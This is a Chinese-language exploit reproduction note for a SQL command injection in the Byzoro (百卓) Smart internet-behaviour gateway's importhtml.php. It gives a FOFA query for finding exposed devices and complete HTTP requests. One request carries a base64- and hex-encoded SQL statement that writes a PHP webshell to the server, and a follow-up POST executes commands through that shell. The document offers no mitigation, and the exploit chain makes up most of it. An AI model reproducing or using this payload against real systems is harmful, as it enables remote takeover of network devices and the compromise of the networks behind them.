百卓Smart SQL命令注入漏洞
一、漏洞简介
百卓Smart是一种系列品牌上网行为管理设备，多种应用功能集于一身，包括网络应用封堵、流量控制、链路负载均衡、网页分类阻断、上网内容审计、防火墙、VPN等。该网关的管理组件文件 importhtml.php 的功能处理逻辑，对参数 sql 的传参处过滤不严，导致任意SQL语句的执行，造成任意恶意文件的写入。
二、影响版本
- 百卓Smart
三、资产测绘
- fofa
app="byzoro-Smart" - 特征
四、漏洞复现
GET /importhtml.php?type=exporthtmlmail&tab=tb_RCtrlLog&sql=c2VsZWN0IDB4M2MzZjcwNjg3MDIwNjU2MzY4NmYyMDczNzk3Mzc0NjU2ZDI4MjQ1ZjUwNGY1MzU0NWIyMjYzNmQ2NDIyNWQyOTNiM2YzZSBpbnRvIG91dGZpbGUgJy91c3IvaGRkb2NzL25zZy9hcHAvcy5waHAn HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
写入文件位置
POST /app/s.php HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
cmd=ifconfig
其中c2VsZWN0IDB4M2MzZjcwNjg3MDIwNjU2MzY4NmYyMDczNzk3Mzc0NjU2ZDI4MjQ1ZjUwNGY1MzU0NWIyMjYzNmQ2NDIyNWQyOTNiM2YzZSBpbnRvIG91dGZpbGUgJy91c3IvaGRkb2NzL25zZy9hcHAvcy5waHAn为以下代码的base64编码
select 0x3c3f706870206563686f2073797374656d28245f504f53545b22636d64225d293b3f3e into outfile '/usr/hddocs/nsg/app/s.php'0x3c3f706870206563686f2073797374656d28245f504f53545b22636d64225d293b3f3e为webshell hex编码
hex解密网站[https://www.bejson.com/convert/ox2str/](https://www.bejson.com/convert/ox2str/)